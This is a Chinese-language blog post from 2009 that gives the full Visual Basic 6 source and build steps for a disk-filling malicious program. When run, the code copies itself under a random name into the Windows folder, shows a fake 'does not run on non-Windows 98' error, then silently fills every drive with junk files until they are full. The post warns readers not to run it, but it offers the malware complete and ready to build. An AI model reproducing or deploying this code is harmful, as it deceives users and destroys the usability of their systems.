无聊之作,仿曾经的垃圾大王
该文章根据 CC-BY-4.0 协议发表,转载请遵循该协议。
本文地址:https://fenying.net/post/2009/08/09/garbage-generator/
一个恶意程序源码,源自于曾经在《电脑报》上看过的恶意程序“垃圾大王”。
这是一个可以在背地里把你的硬盘塞满的程序——它运行在后台,用1MB/个的垃圾文件把你的硬盘彻底塞爆。
注意
-
本程序具有一定危险性,本文仅限讨论,使用以下程序造成的任何后果由您自己承担。
-
千万不要在自己电脑上运行此程序,除非你已经准备重装系统或者换机子。
使用方式
本程序用Visual Basic 6.0打造,在Visual Basic 6.0 简体中文企业版 + Windows XP Professional SP3 简体中文版中测试通过。
启动VB6.0,新建一个“标准EXE”,修改工程名为“RTools”,添加一个模块,添加如下代码
1'//Declare APIs.
2Private Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
3Private Declare Function GetDiskFreeSpace Lib "kernel32" Alias "GetDiskFreeSpaceA" (ByVal lpRootPathName As String, lpSectorsPerCluster As Long, lpBytesPerSector As Long, lpNumberOfFreeClusters As Long, lpTotalNumberOfClusters As Long) As Long
4Private Declare Function GetLogicalDriveStrings Lib "kernel32" Alias "GetLogicalDriveStringsA" (ByVal nBufferLength As Long, ByVal lpBuffer As String) As Long
5
6'//Define Type
7Private Type Disk
8 Driver As String
9 FreeSpece As Long
10End Type
11
12'//Define Common Var
13Dim D() As Disk
14
15Public Function WindowsPath() As String '//Get the path of folder Windows.
16 Dim sTmp As String * 200
17 Dim Length As Long
18 Length = GetWindowsDirectory(sTmp, 200)
19 WindowsPath = Left(sTmp, Length) & "\"
20End Function
21
22Private Function RandomStr(Length As Long) '//Make random string for FileName.
23 Dim i As Long, RTN As String
24 For i = 1 To Length
25 RTN = RTN & Chr$(Int(Rnd() * 26) + 65)
26 Next
27 RandomStr = RTN
28End Function
29
30Public Sub Main()
31
32 If LCase(Mid(App.Path, 4, Len(App.Path) - 3)) <> "windows" Then '//Hide this program.
33 SPath = WindowsPath & RandomStr(Int(Rnd * 16) + 1) & ".exe"
34 FileCopy App.Path & IIf(Len(App.Path) = 3, App.EXEName & ".exe", "\" & App.EXEName & ".exe"), SPath
35 Shell SPath
36 MsgBox "错误:本程序不能在非 Windows 98 下运行!", vbCritical
37 End
38 End If
39
40 Dim StrBuf As String * 255, Temp() As String, R As Long, i As Long, x As Long
41 Dim TEMP1 As Long, TEMP2 As Long, TEMP3 As Long
42
43 GetLogicalDriveStrings 255, StrBuf '//Get all Disks
44
45 Temp = Split(Replace(StrBuf, Chr$(0), ""), ":\")
46
47 R = UBound(Temp) - 1
48
49 ReDim D(R)
50
51 For i = 0 To R '//Get the free space of each Disk
52 DoEvents
53 D(i).Driver = Temp(i) & ":\"
54 GetDiskFreeSpace D(i).Driver, TEMP1, TEMP2, TEMP3, x
55 D(i).FreeSpece = TEMP1 * TEMP2 * (TEMP3 / 1024 / 1024)
56 Next
57
58 Randomize Time '//ReSet the seed of random
59
60 For i = 0 To R '//Begin to fill all disks.
61 DoEvents
62 For x = 1 To D(i).FreeSpece '//Begin to fill each disk.
63 DoEvents
64 On Error Resume Next
65 Open D(i).Driver & RandomStr(Int(Rnd * 32) + 1) & "." & RandomStr(Int(Rnd * 6) + 1) For Random As #1
66 Put #1, 1024 * 8, ""
67 Close #1
68 Next
69 Next
70End Sub
最后修改工程属性,把启动对象设置为“Sub Main”,然后,OK~
当然,本程序在Visual Basic中测试时无效。
comments powered by Disqus